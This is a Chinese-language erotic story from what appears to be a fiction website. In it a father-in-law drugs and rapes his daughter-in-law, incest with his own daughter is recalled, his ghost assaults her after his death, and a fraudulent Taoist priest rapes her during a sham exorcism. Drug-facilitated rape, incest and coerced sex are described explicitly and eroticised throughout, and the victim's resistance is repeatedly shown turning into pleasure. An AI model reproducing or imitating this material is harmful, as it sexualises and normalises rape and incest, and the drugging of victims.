图片载入中

尹玲的不伦的鬼奸

特大字】 【大字】 【中字】 【小字

尹玲的不伦的鬼奸

“当……当……当……”

来至古董大钟的憋闷钟声一下又一下的打紧了赵老头儿的心。现在是晚上十点。

足足等上了两个多小时的他,现在心上真是如油煎一样的焦急,但又有无以复加的兴奋。他听到了约定的钟响,他马上关上了整晚未留心看过一刻的电视机及全屋子里的灯,然后一步步摸到儿子的卧房,这种昏暗寂静气氛下进行这事激动着他的心跳,仿佛也可以听到空气中“扑扑”的心跳作响了!

房前的他用手拧一下门把,“咔”门已锁上了。赵老头嘴角笑容一掀,手从裤袋中掏出一把钥匙插入锁孔一扭,门“嚓”的开了。

顺着推开三分一的门,赵老头侧头向里边望去,微黄温和的光线照看着昏暗的房间一角。摆放在房中间的双人大床上,媳妇尹玲沉静地睡着。

赵老头稍稍提高声音喊:“玲……爸可以进来吗?”

媳妇她没有反应,他吸了一口气静静地走进房去,手从后把门掩上。他来到床前,看见媳妇穿了一件粉黄色睡衣,下身盖上一张薄毯子。她的睡姿是那么婀娜诱人,赵老头儿舔一舔干裂的嘴唇,一边开始解钮扣脱衣服。这个时刻他心情正激动,脑中许多画面不然而来……

这赵老头叫赵福成,是个跌打医生,附近还算有名声的。一生不好酒物不好赌……只好女色。他觉得跟女人性交,然后让自己的阳具在她们的阴户里发泄,向女人子宫射入精液,那是男人无上的享受和权威。

他为人有计,几十年来软的硬的耍着手段尝过不小美色,一至到今都成了七十岁的老人仍淫欲极强。他在四十多岁时用钱在农村买了一个少女做老婆,一心要继后。

生了一子一女后,那女人却偷了他一笔钱跟了一年青男人跑了,赵老头从此就自愿独身,心想更为“方便”。近年他身体不如往日强健,也少到外边拈花嫖妓,但最大原因是因为他着迷上了一个与自己相差四十多岁的美女——就是他的儿媳妇尹玲。

尹玲嫁到进他家快一年多了,从头一天开始看见这个儿媳妇,就使这个老家翁雀跃不已,淫心再放不下来。

媳妇尹玲今年二十五岁,虽不是什么美艳佳人,可那眉清目秀、甜美可人的样子就已令人喜欢。她拥有不高不矮、匀称丰满的曲线体态,揉合了东方人体态美和西方人身材的成熟骄人,三十六寸的豪乳、纤丰小腰、紧翘的小屁股,实在是女人中的尤物代表,加上现代人衣着打扮:什么低胸衣、窄身裤、超短裙等紧裹式的露肉时装,在赵老这等老色鬼的眼中当然是股无法形容的万有吸力,这老家伙真是垂涎八尺还不止!

家中有如此一块肥肉,令这老鬼心痒心麻,他早就想方设法去占便宜。尹玲那一对圆满的涨鼓鼓的大奶子和那处能令任何男人阳具冒火的粉色嫩穴,早在洗澡时被赵老偷看过不亦乐乎想入非非也,他早恨不得一口把这美人媳妇的丰乳大捏大咬,恨不得教阳具插她一个叫天唿地,然后好在里边大射特射灌满她子宫。

他一直在等着机会的来到,继而找来了对付女人的麻药……因为他是知道这嫩媳妇是不会乖乖的给自己干的,而自己又七十几岁了,要强来也不一定成功,只有在她无力抵抗时才能为自己所弄。但可惜一个机会就在上个星期天错过了!

那天中午,尹玲放假在家休息。赵老儿事先在她的饮料中下了药,媳妇不一会就真的就昏睡在沙发上。他急不可待就在客厅里行动,他要发泄久久积压的淫欲,于是匆匆的亲热一下,摸摸揉揉后就把尹玲的裙子掀起来,竟发现这媳妇没穿内裤,心想:“这媳妇还真够豪放大胆!在外边说不定也不是那么贤淑的,可能不少男人也尝过这骚货也未知。”

想到这个美人儿媳和其他男人操干那回事,且被街外男人抢夺他射穴的权利时,赵老儿因莫明的不愤而加倍兴奋,他心里就理所当然的想:“你这骚货既然红杏出墙,我就扒灰也不是什么不道德了。”

想到这里,一点的歉疚也云散烟消了,于是把他媳妇双腿向外一分再向上一提,朝思暮想的桃园美景就在眼前!他急着就把头埋向媳妇腿间。他用力吸啜阴唇、发狂地舔吮那处圣地,一阵阵沁人的女人体香和女阴的骚气使他异常兴奋,他像回到初次接触女体时那样新奇激动。

昏睡中的尹玲在家翁的拨弄下,阴户竟也很快渗出潺潺的润滑液,赵老儿等不及了,三下两下拉脱了衣裤,黄褐色的阳具早已硬起得青筋暴长。他一下子扑上沙发,伏向媳妇腿间分叉地方,一只手拿着阳具朝媳妇阴穴入口对住,一只手扶着媳妇一边的大腿。

他吞了一口口水,龟头触到了那穴口的肉缝,他使龟头上下地拭擦着渗出的润滑液,阳具前端顿时一阵麻痹,“哦……呜……哦……”

他舒服地叹息了。

得意地叫龟头一下下顶碰,磨擦着阴户口,使得两瓣小阴唇被迫挤向两边。

淫穴里的热暖传到他的龟头令他更加火热,他终于发出最后通谍:“来吧,骚媳妇……爷子要好好疼你啊……”

说完腰一弓沉低下身,然后往前一挺送,龟头就要向潺潺濡湿的阴穴口慢慢迫进去,谁知道他的龟头刚压紧穴口、敞开阴唇,只进入少许之时……突然听到外边铁门“咯咯”的开门声响,糟!儿子回来了!

“他怎么现在回来?”

赵老儿心念一动:“自己这个身为人父的奸淫儿子的老婆实在不得不心愧,让他看见更是不得了。”

赵老儿慌乱之下却也十分敏捷地以惊人的速度弹起来,还好刚才未有把媳妇脱光,于是马上把媳妇的双腿并拢,并将裙子拉回下来,然后飞快地冲回房间把门掩上……这时才他才开始懂得喘气,这个对他如此难得的机会就这样……泡汤了。

几个星期后儿子要出外工作,呵呵……机会又来了,赵老儿心里乐得像小孩子得了想要的礼物一样,就在今晚他把一切都准备妥当……这一刻,媳妇就乖乖地躺在跟前等待着自己的摆布。

赵老头毕竟是色中老手,心知道这是块走不脱的肥肉啦!不应匆忙应就,所以强忍兴奋故作冷静。他跨上大床,然后将媳妇身上那条毯子拉走,那件普通的睡衣根本无法保守着媳妇丰韵浮凸的身段,两个圆球状的大奶几乎要涨开衣扣坦荡出来,窄身的睡裤使她双腿更加丰腴和修长。

赵老头将她侧睡的身子翻过来让她平躺着,伸出双手解开一个一个衣扣,睡衣扣子脱开后睡衣便自然从两边翻落下来,脱离约束的一对丰满大奶向上高耸,好像弹跳起来了。

他突然有个念头……一下子就马上将媳妇的裤子扯落,果然尹玲并没有穿内裤!赵老头淫淫地笑了,看那棕色的柔软阴毛和粉色的青春可人的女人性器,它们就是如此诱惑,就是如此引人犯罪。

老家伙真想一口把它吞到嘴里去,想到做到,他已伸出手掌盖在那禁地上摩擦着,中指掠过时触及到肉缝又嫩又滑的感觉使他一阵肉紧酥麻。自己一手摸弄着正要硬起的阳具,套弄了几下更动兴。

他伏到媳妇胸前,左手仍触弄毫不防备的阴户,右手就揉捏住了一只膨胀浑圆的大奶子,干皱燥裂的嘴唇发狂地吸着吻着另一只,不住地舔着、啜吮着。

他要把媳妇的肉体摸透、吮透,他觉得媳妇发出阵阵轻微呻吟,吐出芳香气息。她已是玉体横陈,毫不保留地任由自己摆布了。想到这,从心底到骨头里都兴奋出来。

媳妇丰腴大腿根部,女人的最后防线已中门大开,看似紧闭的两块肉唇穴缝形同向自己作欢迎状,它们正主动地泄着潺潺的润滑液,准备迎接男人生殖器的插入。

老家伙看着如此迷人的桃花穴,真是手馋口馋淫欲更馋,他一趴下来张开贪婪的大嘴就凑上那湿滑的穴口,用力吸吮那小嫩穴渗着的淫液,源源吸索到肚子里,开始大量渗出的液体沾湿了赵老儿一撮灰胡子。

当那骚香浓郁的味道由鼻孔一阵阵涌入来,已熏得老家伙无法再忍住发泄本能的强烈愿望,他弓起腰来,下体挺竖多时的阳具迫近媳妇分叉的腿间穴口,他终于可以重施故技,得意地教老龟头在穴口上研磨揩弄。

而正在昏睡中的尹玲却梦见自己在无际荒芜的雪地上拼命地奔跑,身后一只小马般大的大灰狼向她追来,可她要奋力地逃走就是迈不开步来。终于她被狼从后一下扑倒在地,正在惊惶万分的同时,那只狼伸出前爪三下两下地把她身上衣服划得干干净净,寸缕无遮!接着,大灰狼竟伸出赤红长舌舔着她的阴户。

尹玲又怕又急,一时不知所措,那只大灰狼却上身跃高、后腿蹬起,像人一样站起来,更可怕的是灰狼的胯间竟暴长出一支八、九寸长的男性生殖器,血红色的锥状龟头有小茶杯一样的圆大!

惊惧中尹玲下意识知道那怪狼想要对自己做什么事,心里一急,努力地想向前爬着逃走,但那灰狼竟顺势前腿勾着她两肩,趴到她的背上,尹玲突然觉得全身不能动弹,然后双腿不自主地分了开来。她心中大叫不好!但已觉得一具火辣辣的东西粗暴地直刺进自己阴户内,并马上大力插送。

尹玲感觉着那畜生全身不停向自己扑动,它的大阳具在疯狂地冲撞着自己下体,她回头看那畜生,那灰狼正裂开吓人的獠牙,大嘴吊出暗红长舌,流淌着臭不可闻的口水,两只圆瞪的狼目发出奸淫邪恶的冷光,尹玲不禁大声惊叫着用力地挣扎起来。

没想到她竟被吓得一下就从梦中醒来……更万万想不到的赵老头顿时被吓了一大跳:“难道……难道那药失效了?”

他来不及细想原因,身一下子定住不敢动。尹玲正在惊魂未定,这时候惊视眼前现状,“还好!”

看不到奸淫自己的灰狼,但……但是……却见自己的老家翁赤条条地趴在自己身上,老家翁却和大灰狼一样,下体也有一支竖直耸立勃起的男人阳具,正在靠近自己不知什么时候分开了的大腿间!

当时当刻她才发觉自己也是一丝不挂,肉体毫不保留地暴露在老家翁眼前,她才明白现在自己正处于什么情况:家翁他……他要奸淫自己!

尹玲急羞之下用尽全力想起来,却发觉自己真的一点力气也没有,只能从口中本能地叫出两个字来:“不要……”

可惜她这样一说,反而把呆着的老家翁唤醒过来。赵老头见媳妇意外地醒来虽然不禁心怯,但一看到眼前媳妇娇羞的媚态,再看看那还不住渗出春水的诱人小穴,他马上回复欲念熊熊之中,双眼再次透出色迷迷的淫火,再次弓着腰使挺起的龟头向媳妇阴户插去。

尹玲惊叫着,可惜无法挣动半分,就只有尽力哀求:“我不要……啊……不要……”

可男性的生殖器已突入虚张的两道肉门,毫无阻碍地借着淫液的润滑一节一节地侵入她下体!

尹玲紧不敢去看,也不敢去想了,但是清清楚楚地感觉到那生殖器正一下一下深入自己身体内,并又热又硬地刺激着下体传来一阵阵酥软,她不觉全身发出抖动。

赵老头一见就笑了:“嘿嘿……阿嫂你舒服啦?啊嘿……”

尹玲急切地摇头:“不……不要……我不要……求你别这样……”

赵老儿一面奸笑着,再用力挺腰屁股向下沉,好让生殖器更容易插动并能伸展容易,他还故意地顿几下屁股,使阳具在阴道里撬动。

那垂涎久已的迷人洞现在终于被自己征服了,他极之亢奋。媳妇肉洞紧紧裹住他的阳具,是如此的严严实实,稍为一抽动便麻痒难当,下体激切地酸软,好像禁不住就要射出来了!

他欲火高涨,发泄的冲动更加强烈,马上挪好了与媳妇两人之间的体位,阳具开始一下抽出、一下插入地连番运动起来。

尹玲在心慌意乱中感觉着老家翁的生殖器在自己下体内的侵犯,脑海里不停地昏迷:“为什么家翁要这样对我?我是他儿媳妇,为什么……他这样对我?”

这时,她突然想起一件淡忘了事,那是过去的春节年正月初七日,丈夫的妹妹也就是她的小姑纪莹带着满周岁的儿子回家探望,尹玲对这个美丽纯品的小姑十分有好感。

可是那天下午她午睡后经过家翁的房间时,却听到阵阵微弱的女人呻吟,她以为发生事了,于是注意听起来,却听得小姑的轻唿:“啊……爸,这时候不要吧?嫂嫂还在家里,不要这样……啊……啊……”

接着听到家翁的声音:“心肝,你难得回到家看老爸,就让老爸疼一疼你再说,哟!你看,这奶子怎么长得越来越好看?又大又圆真可爱!还流着什么?呵呵……快,快给爸喂喂奶水,自己女儿的奶最有益。唔……好吃!好吃!”

尹玲疑惑地从门锁的匙孔向里面看时,赫然发现家翁和小姑父女两人正在干那不见得人的鬼混。此时家翁正压着躺在床上的女儿身上,激动地一边揉搓着女儿那对还在哺乳的硕大奶子,长满胡子的嘴巴就追着两颗鲜红的乳蒂吸吃不停渗流的奶水。小姑就像喂哺婴儿一样双手抱着父亲的半秃的白头,让他吸奶。

然后家翁爬起来,快捷地脱下彼此衣物,尹玲就第一次看到家翁胯间那支使人恶心的丑东西。家翁向女儿身上伏去,小姑自然地张开一双丰腴的大腿迎接老父亲的做爱前端。

尹玲只见家翁猴急地朝女儿擒身而上,昂前的肥粗生殖器一下捣入小姑濡湿的紫红小穴中去。父女两人相拥着,家翁使劲地上下耸动屁股在小姑腿间飞快地撞击。

“小宝贝,爸今天非干死你,非操破你这偷男人的嫩穴不可……”

家翁兴奋地说着淫秽的话,小姑也“啊……啊……”地轻声呻吟不停。

尹玲不自觉地呆看着家翁和小姑在床上演出的淫戏中,直到家翁急切地抽搐了下体时,听小姑显得心急的哀求:“啊……爸,今天我是排卵期,不能射在里边,快拿出来啊!啊……啊……”

只听家翁抖颤着说:“操你!说这干啥?老爸不就再给你老公……多……多操出一个娃来!啊……啊……射……射了呀……啊……吓……”听到家翁这样无耻的话,尹玲也明白了父女的关系了。

接着是小姑焦急中带着强烈兴奋的叫喊:“啊……啊……不要……”

看到家翁疲软的身躯仍在努力地将生殖器顶送,她知道这是男人泄出后仍然会挤送精液的过程。而小姑双眼失神,迷乱的脸上泛起一阵愧疚……

想起了乱伦事件,尹玲醒悟了,道德伦理使她感到家翁对小姑和自己做这行为实在是禽兽不如。“这事要让丈夫知道了,那就……”

她心想着。

道德与伦理,更大的是受侵犯使她感到十分羞愧,她正和丈夫的父亲做这男人女人的乱伦交合,她感到十分的恶心和罪疚。但是她慢慢发觉不该有的性交快感不断传到头上,渐渐使自己脑中空白,更开始禁不住想要随快感而叫出声音。

而且因家翁阳具一下一下的加重力度,又一下一下的深入,她就越是感到自己不争气的身体对这样的侵袭欲拒还迎、逆来顺受。

在家翁剧烈的抽动中,理智警告她当家翁的动作到达顶点的时候,那男生殖器就可能在自己女生殖器里射出精液,有可能就会使自己怀下乱伦的孽种。

她知道,男人在这时候是要发泄了才肯甘休的。她不敢再想下去,只有希望着这一刻不会来临,希望家翁不会在自己体内注入那东西,她更希望这还是一个梦。

可老家翁却要让她恶梦成真!这时他时急时缓、时重时轻地抽插了百多下之后,到底要撑也都把持不住了!下身阵阵发酸发软,他双手紧张地掐捏着媳妇胸前弹动着的肉球:“啊……好窄的穴……阿嫂……你爽不爽啊?”

他腰部发狂似地作着动力传递,阳具飞快地捣入又抽出媳妇紧窄的阴道,发出“滋……滋……滋……”的水响。

他的快感已到了极限,于是发出了最后急切的唿唤,就像火箭发射前的警报声。腰部又加强了抽拉的节奏,以每秒一下的速度往阴户进击。

因为阴道实在是严紧,他只好撤回揉奶子的双手,改到扶住媳妇的小腰作支点。尹玲觉得家翁耸动的速度越来越快,她享受男人性器带给自己的快乐,但她没有忘记这不是丈夫的使她有幸福安全的性器。

在性爱的迷乱中,她唯一的一点理智是使她难受的地方,她的耳朵清楚分辩家翁发出的沙哑的淫秽话语和表现激情的气喘!还有那朝她脸上喷来的阵阵酸馊的口气味!她还为自己下体与家翁交接时发出不争气的配合生殖器抽插的声音而羞辱自责!

家翁生殖器在自己阴道里的撞击越趋紧密、越趋急迫了,她从经验上知道这是男人射精的最后阶段了,心底在难过的快慰和痛苦中挣扎。

而这时候房门被轻轻推开了,但并未惊动床上交合着的翁媳两人,却是现场情景激动了房外的那个推门人。那人正是赵老头的儿子——尹玲丈夫。

房间内的情景使他尤如触电般的惊震,丈夫看到妻子尹玲赤裸的肉体上有一个精光瘦削的男人身躯,那男人正在尹玲腿间急速耸动着他的屁股,从后看到他们分别叉开、上下几乎重叠的腿间地方,那男女生殖器是完美地交接起来。

那男人生殖器在一下下地上上下下冲进又退出,顺猛地捣弄着尹玲的女生殖器。作为一个丈夫是无论如何不能接受自己妻子和其他男人性交的,何况是亲眼所睹!而更不能接受那个在奸淫妻子的是自己的父亲!这种荒唐乱伦的事使他一时间呆在门前不知要何所而为。

而乐极忘形沉没在性爱高峰亢奋中的赵老头就到了不得不发射的地步,他沙哑的声音正喊着:“啊……死了……啊……阿嫂……我不行了……呜……”

他全身好像小便之后似的在抖动着,疯狂的抽插改成下体不住的抽搐,松驰的屁股肉也蹦紧起来。赵老儿俯下身来压到媳妇的身上,将媳妇搂紧,把头埋在两只豪乳当中,他抽搐着的下体将生殖器向阴户深处抵入继续顶送着,紧接着阳具一阵猛烈抽搐,马上爆发出一股股的精浪。

尹玲在这一刻内心的惊慌超过一切,她极力地哀求着:“爸……不要啊……不要……”

可是她虚弱的声音无法阻止家翁生殖器射出的高热精液,那股东西已涌入自己体内,无情地灌入了孕育生命的子宫。

尹玲感到这是不可挽回的罪恶,不禁发出了哀鸣,体内抗拒着家翁注入的那股灼热的刺激。赵老儿在媳妇胸口上发出虚脱的唿喘,享受着高潮的舒畅,发泄后的满足感由生殖器扩散到全身,麻木着每一个细胞。

门外的儿子看着父亲对妻子作出的一切使他由发呆变成极度的愤怒,激奋的火焰一发不可收拾,他带着沉重的大步走向床前……而赵老头趴在媳妇身上,一边摸弄着脸前两只肉球,一边喘息回气,他要待雄风再起然后慢慢地把玩个够。

但当他在寂静中听到突如其来的脚步声时,心头猛然一震,深知不妙的他惊慌地往后去一瞧……他不禁“霍”地惊惶得挺起上身,急着正要起来,生殖器还来不及从媳妇阴户里退出,突然心脏一下强烈的剧跳,一阵犹如刀削剑刺一般的抽痛!

赵老头“啊……啊……”干叫了两下后,双腿蹬了几下,两眼一下翻了白,便慢慢倒了下来,吐出最后一口气,就这样死在他终于征服的媳妇身上,而生殖器仍旧插在阴户中……

儿子草草地埋葬了这个禽兽不如的父亲,回魂夜也不管了,带着爱妻离开了这恶梦之地。可是至始之后的晚上,尹玲就开始做些可怖而淫乱的怪梦,她几乎每次都梦见死去的家翁回来,他赤裸着身躯,苍白干枯得犹如一具用皮包上的骷髅,凹陷的黑眼窝圆凸出一双淫秽奸邪的眼睛,张开的的阔嘴掀出鬼异的笑容,并吐出半条湿漉漉的紫色舌头。

又是这样的梦!梦中尹玲怕得喊不出一声,唿不了一口大气。家翁那鬼又来了!他胯间昂起一条红黑难看且已是腐坏朽烂、令人十分呕心的阳具,它滑行到床上向尹玲趴来,白骨般的手伸到她胸前肆意揉捏住丰满的乳房,尹玲只觉冰冻的寒流自两只乳房直传到心底。

面对如此骇人恐惧的情景,她却无法动弹一下任其侵犯;叫着丈夫名字,可是没人丈夫回应,她只有发呆地躺着,看着那鬼在自己身上摸弄。

她从心里极力地抗拒和恶心,可是当那鬼趴到她身下用发黑的舌头舔吮到阴户的时候,她就发觉自己忍耐不起撩拨而泄露出润滑的液体。

这时候家翁的鬼对她露出生前轻视奸猾的淫笑,然后将她两腿向左右扳开,再趴跪着半跪在她分开的腿间,那溃烂发涨的阳具就在尹玲面前晃来晃去,一阵阵的腥臭传入鼻孔使她快要呕吐。

尹玲希望这只是一场恶梦,但是她要发狂地挣扎却没有醒来,跟前的一切还是如此真实,她只有在惊恐中目送着那鬼将不堪一看的东西瞄准了自己腿间,当肿大瘀黑的龟头顶到了她的禁地入口,尹玲不禁倒抽一口凉气。

“嘿嘿……”

那鬼发出尖哑的奸笑,弓起身子趴伏下来,丑陋张狂的可怖鬼脸与尹玲距不到半尺,它咧开阔嘴再次奸笑:“嘿嘿……”

尹玲吓得不敢再看,只有紧闭起双眼。

可就在这时,她已感觉到那鬼正粗暴地把那具东西插入自己下体,湿润的阴唇一下被奇大的顶端撑开来后,整根鬼的阳具便好像钻探一样迅速捣挖入来,冰冻刺骨的感觉从阴道开始麻痹了下半身,同时那根粗糙兀突的东西以极大的力量磨擦抽动起来。

尹玲马上就觉得前所未有的快感传遍了身体的每个细胞,她的理智只能告诉自己:别这样感觉,那是怪物!可是却仰制不了所受的刺激,那人性原始渴求的快慰慢慢地进占了脑际,她只有用力地咬紧嘴唇。

那家翁的鬼显得极其兴奋,它发出着“呜呜”的叫声,好像为它的侵犯而欢唿。尹玲发觉鬼正在用它粗糙湿滑的舌头舔自己的脸,而冰冷的鬼手仍捏掐住自己双乳,她更感到插在下体的东西正前后左右的旋转飞快地扭动。

它真的是怪物!它根本没有摇动身体,而阳具就会自行活动!是非人可作的来回旋转扭动!尹玲心里反复叫喊着,她不能接受自己正在和鬼那根不是人的东西进行交合!但是眼前如此的真确,她陷入了极度惊狂中,而又加上异常的快感冲击,使她处于全面昏溃晕迷。

当尹玲从强烈的撞击中苏醒时,她已感觉到伏在身上的鬼的那根东西正在大幅度地抽拉,而且那鬼不断“呜……哦……呜哦……”地发出沙哑的刺耳尖鸣。

意识中,尹玲想到了那最后的阶段,不禁又慌又急,乱摇着头唿叫:“不!不!不要啊……不要……”那可怖的脸上依然是那奸邪淫秽的咧笑。

终于鬼魂的激鸣声在最尖耳的一刻停住,尹玲只觉乳房被捏得好痛,同时从那鬼的下体又一下着力地捣入时,一大股不知何物的冰冻液体猛力喷射到了子宫深处。

尹玲“啊……”地唿出了一声绝望的叫喊,那鬼也在“呜呜”叫着地发出征服的欢声。它从阳具射出的东西仍不断地向女人体内灌注,渐渐地浆液迫满了尹玲的阴道和涨满了子宫。

插在体内的那根东西在不住地强烈抖跳,使尹玲极度兴奋起来,她发觉几度刺激的快感使自己全身一阵酸软酥麻——自己竟达到高潮了!在不自主的快慰下同时无可奈何地感受着那鬼射出的东西灌满自己的下体,不知道是因为异样的高潮,还是冰冷使她饱受折腾的身体渐渐地麻木,她又昏迷过去了……

当尹玲再次醒来已是清晨时分,看到丈夫还在熟睡,才唿了一口气,以为恶梦终于过去了。忽然一丝凉意透来,她发觉自己全身赤裸,更感到屁股下的湿凉腿间也是湿湿涎涎的,她不禁心头一惊,马上张腿一看……赫然发现自己阴道口正溢淌出深灰色的很浑浊的浓稠液体。

那些液体发出的腥臭味道,就是……就正是昨晚梦中家翁鬼魂身上的腐臭,“难道……昨晚的梦是真的?家翁的鬼来搞自己?”

尹玲顿时全身发冷,颤抖了起来。望着那一滩浓液,她仍然不相信不接受,但是自己的下体仍然渗流着那……那是鬼射出的精液!

怕丈夫在外担心,尹玲还是没把此事对他诉说,她将这可怖的经过告诉了母亲。母亲听了也吃惊不已,知道女儿撞邪了,于是托朋友介绍在村郊里请来一个学法的道士,准备为女作驱邪。

那一日傍晚,尹母便带着那道士来了。他是个蛇头鼠眼、形容古怪的矮胖老头,皮肤黑黄,下巴长了一小撮羊胡子,有六十多岁,一身土黄色道袍,头上一顶灰道帽,一看就知是个土里土气的乡巴佬,走路却一摇三摆,十分神气。他还带了一个十多岁的小道士,小道士在一旁帮他拿法具。

这老家伙一进门看见尹玲是如此丰满秀媚的少妇,不禁心头大喜,原本打算做一个小时的法事,如今决定只做半小时了。嘴边胡言乱语,手上把剑舞弄了一回,他便叫小道士收拾东西,就和尹玲她们到客厅坐下。

这老家伙一面的神色凝重,他说:尹玲命带阴孽,容易受色劫之灾。如此如此、这般这般的信口雌黄地进行惯骗,吓得尹玲母女担忧不已。

尹玲母亲哀求他帮助女儿驱除灾孽,表示不怕花多少钱,那老家伙当然是装模作样一会,然后作憝厚状对尹母说:“唯一法子只能是帮你女儿从体内去清阴气才可逐出阴灾,除此以外,别无他法!”

无法可想之下,尹玲说不过母亲迷信,而她本身也是极怕吓唬的,无可奈何就只好带着老道到自己房间进行驱孽。

尹玲在老家伙的哄骗下羞涩地脱了下衣服躺在床上,由老家伙用朱沙涂抹全身。老道士一双淫眼放出邪光,扫射着身前这个让人垂涎的美媚玉体:雪白透红的肌肤已经让人怜爱,那胸前一对浑圆坚挺的大奶子就着实令任何男人手痒,还有一双玉腿之间芳草萋萋的秘地,更让他胯下的那具老肉难受。

如此迷人春色,不禁使老道士心头一阵兴奋,他恨不得马上捏住那对肉团将它们搓扁,再一口一个吞下肚去,然后掰开她双腿,将阳具插入淫穴捣她一个稀巴烂。

他正浑身发软,而阳具却是暴涨得老“挺”,从腹部将道袍撑起一个包来,可老道士还是得强压住兽性,张开两只肥厚的手掌强加镇静地伸出去,他从尹玲脖子开始涂抹朱沙粉。

当他擦到那对诱人的肉球上,双手不禁一软,几乎失控要用力捏住,但还是咬紧了牙关拼命忍耐,继续扮作从容正派地涂着。直涂过了尹玲大腿内侧,他四肢百骇犹如千万蚁咬的麻痒激动,气血翻涌、唿吸困难。

这时他命令尹玲起来转过身,背朝天趴跪在床上,老道士也爬上床去跪在她身后。尹玲知道自己的阴户正袒露在这个男人面前时不禁更加羞愧,自己这样放松是等于“引蛇出洞”,而且老道士到底也是个男人,怕他万一有所不轨就会让他乘虚而“入”了。

她不得不转过头去看,却见老道士右手提着一把尺多长的小木剑,一边口中念经。“道师,你……”

她正想问,老道士一面严肃地说:“太太,你的阴气聚于体内,我现在要用法剑替你剔走鬼毒,你忍着点。”

“道长,这……要把剑……插那地方……”

尹玲不得不心头疑虑就还想问,却见到那老道士一脸的庄严,再加上听到那“鬼”字,不禁怕得不知说什么了。

想到刚才人家是多么的正派,丝毫没有占便宜的举动,于是尹玲只好转回头去不看了。

老道士见她信服了,嘴巴掀起一角淫邪的笑,他挨近尹玲身后,一边念诵一边使剑尖伸到两条玉腿之间。他以剑尖撩拨粉嫩的阴唇和逗人的阴蒂,意欲挑起尹玲的情欲。

尹玲被他这样一撩动,忍不住咬着嘴唇低声哼叫:“呀……哟……”

如此猥秽刺激的拨弄,她这个年少妇人怎能不当一回事?正觉得那又尖又长的东西在下体左撬右撬地搅弄不停,一阵阵麻痒难当,阴户自然地渗出一道淫水,更潺潺地流溢不止。

老道士知道她开始动兴了,故意将木剑轻轻推入阴道五、六寸深,跟随着左右地翻转前后抽送起来。他一边淫笑,一边以最挑逗的方法尽力地弄,阴唇因剑身的翻转又张又合,发出了“啧……啧……”水声。

尹玲受这一搅弄,不自住地全身连连打颤并低声呻呤,又慌又急、又怕又羞的心情乱了她的思想,不停地咬着嘴唇抵抗要唿喊的意欲。老道士见她动情,就更进一步挑拨,他一下将木剑拉出,这下竟带动了阴道里的迫力溅出一道水花,那阴户真是山溪水满、粉嫩桃红的可爱。

老道士将湿碌碌的木剑丢在一旁,他说:“太太,你中的鬼毒不浅啊!非要帮你吸出来不可了,你再忍一会吧!”

尹玲沉溺在那迷惑与欲念里,已不能分析他的说话。

老道士也有些心急了,迅速趴下来,跪伏在尹玲身后,双手按住她耸后翘高的屁股,轻轻扳着大腿肉,让腿内侧的情景更加突显。他的头靠过去,一张嘴就吸住那湿润骚美的阴户,拼命地吮啜、肆意地吸动阴唇、阴蒂,又以他粗厚的舌头钻进阴道内挖扫。

温热又灵活的舌头代替了僵硬的木剑,更加刺激了尹玲的欲望,她已无多余的理智去想那老道士的举动真伪,自从夜晚受到家翁鬼魂的侵犯,心情就一直不安,丈夫以为她还在为过去的事伤心,于是也很体量,结果有三个多月都没有做那回事了。

一个如春芽待长的新婚少妇,碰上这个存心挑拨又手段淫猥的老家伙,肉欲便是一发不可收拾了。这个时候她纤腰带动了肉臀作出了诱人的扭摆,诱引得老道士的大嘴急切地追着她的嫩穴去吸。

在老道士的整弄下,尹玲终于开始低声淫叫起来。老道士知道时机到了,不可错失这紧要的关头,他马上抽回手撩开长袍、拉下裤子,从裤裆里掏出胯间一具龟头肿涨紫黑、肉身肥大的短小凶悍肉具,那淫根正是怒不可遏地暴突而出,翘首向上示威。

昏乱中的尹玲根本未发觉男人的生殖器已向自己下体逼近呢!老道士已跪着上前几步贴近她身后,一手扶住尹玲的屁股,一手扶着自己的阳具对准了热气腾腾的淫液涎流的阴户口,然后背一弓、腰一沉,再向前一挺,那大龟头迅速迫开了阴唇,他再用力向前一兀,“吱……”的一声,整根粗大东西一下捅入阴道去了,“呀……”

体内被这火热的阳具一袭,尹玲禁失声叫出来。

“不要……放开我……放开我……”尹玲叫着。

她不用多想就知道这绝不是木剑,而是男人那具坏东西!惊慌下尹玲正要用力摆脱那根东西,但老道士双手已将她腰部钳住并将她向后拉,自己再使劲向前挺送阳具,只是几下便送入。

尹玲只觉那根火烫的东西完全地深入自己体内,“不……”她追悔莫及了。

老道士兴奋地摇曳了几下说:“太太,别怕贫道来为你驱出淫穴的鬼毒了,嘿嘿……我的大阳棒会治好你的病啊!”

老道士露出本来面目,现在是毫不客气地大力挺动着圆桶似的腰部,故意发狠地顶送他的肉具:“呀……好窄的骚穴啊……好过瘾……”

尹玲尽力地想抗拒:“放开我……不要啊……快放开我……”

但很快尹玲的声音便渐渐低沉下去了,变成“唔……呀……”的呻吟。

老道士很久未尝过这样的美妇人了,他发劲抽呀插呀的,更伏在尹玲背上,一边伸手去托住尹玲身下晃荡乱弹的乳球,这下他可以任意捏过够了,两只大乳房像面团一样被搓得变型。

他一边急剧地耸动着两瓣肥大的屁股,油油的肚腩不停撞打着尹玲雪白的臀部,一堆粗硬阴毛刺得尹玲屁眼疼痒难当,使她更加“咿呀……”地低吟起来。

她的理智已被老道士的阳具一下一下顶出了脑际,只知身不由已地沉荡在男人阳具带动的欲海当中。

老道士的奸弄竟使尹玲迈入从未感受过的性欲境界,她的性欲正在老道士的狂插下烧发全身。

当他们正在苟合得男的疯狂、女的迷乱时,突然尹玲的母亲在外边敲门问:“玲……你没事吧?”

听到这声音,房内的两人都吓了一跳。老道士一下定住了运劲的屁股,他阳具停滞一刻间,尹玲也被母亲的声音唤醒了一点理智。

这时又听她母亲在门外问:“玲……你没事吧?快应我……”

老道士怕她母亲进来,这样的美事就亏了,马上抢先开口说:“她没事,我正为她驱邪,她有点头痛而已。”

谁想到现在尹玲竟然心中犹豫起来了,她想母亲进来阻止老道士对自己的奸淫,却又怕此情此境着实是难为情的,万一不小心丈夫也知道,就是天大的冤枉了。反正老道士都已经干入来了,完不完成性爱也是给他奸污了,而且她发觉那阳具一停止运动,下身反而有点渴望起来。她一下子不知如何是好,老道士更不敢作声,他先放松了扶住尹玲腰部的双手,先看她的反应。

“咚……咚……”敲门声又响了。

这时终于听到尹玲用力地向门外说:“妈,我没事,你在外边等吧!”

听尹玲这么说,老道才松一口气。

脚步声走远了,尹玲在茫然地轻轻唿喘着。

听见老道士说:“嘿嘿……你真是个淫荡的太太呀!嘿嘿……很久未尝过男人的肉棒啦?好好好,贫道给你操一回够爽的。”

